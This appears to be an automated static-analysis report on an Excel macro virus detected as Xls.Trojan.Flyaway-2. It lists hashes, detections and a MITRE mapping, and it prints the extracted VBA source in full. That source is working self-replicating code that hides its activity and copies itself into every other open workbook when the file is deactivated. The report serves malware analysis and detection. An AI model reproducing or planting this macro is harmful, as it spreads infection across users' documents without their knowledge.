Xls.Trojan.Flyaway-2 — Office (OLE) malware analysis

Static analysis result for SHA-256 363d5c1741f074cf…

MALICIOUS

Office (OLE)

19.0 KB Created: 1998-04-16 18:08:40 Authoring application: Microsoft Excel First seen: 2012-06-14
MD5: 3b30bfaf90f5a7be58beeb39b6a47eeb SHA-1: 4b1b7c3f33bf3c24e37922fd0cd72159913b798c SHA-256: 363d5c1741f074cfb6046d8245a63114357dfa588c67666d71dbb2a66ca2695a
80 Risk Score

Malware Insights

Xls.Trojan.Flyaway-2 · confidence 90%

MITRE ATT&CK
T1059.005 Visual Basic

The file is an Excel spreadsheet containing VBA macros. The critical ClamAV detection identifies it as Xls.Trojan.Flyaway-2. The VBA code within the 'macros.bas' module is designed to copy its own code into any other open workbooks when the current workbook is deactivated. This behavior suggests an attempt at propagation or establishing persistence across multiple documents.

Heuristics 2

  • ClamAV: Xls.Trojan.Flyaway-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Trojan.Flyaway-2
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1616 bytes
SHA-256: 392fb86e99f2e79b7201b00c18b74bfcf47fae76e7c74e354bbec628203b7bcc
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
'Copyright (C) 1998 by FlyShadow ~^^~ - Fly
Private Sub Workbook_Deactivate()
On Error Resume Next
Application.EnableEvents = 1
Application.DisplayAlerts = 0
Application.ScreenUpdating = 0
Application.EnableCancelKey = 0
Application.DisplayStatusBar = 0
Set α = VBProject: Set α = α.VBComponents("ThisWorkbook").CodeModule
λ = α.Lines(1, α.CountOfLines + 1)
For Each ι In Workbooks
Set ν = ι.VBProject: Set ν = ν.VBComponents(α).CodeModule
ν.DeleteLines 1, ν.CountOfLines: ν.InsertLines 1, λ
Next
End Sub














Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True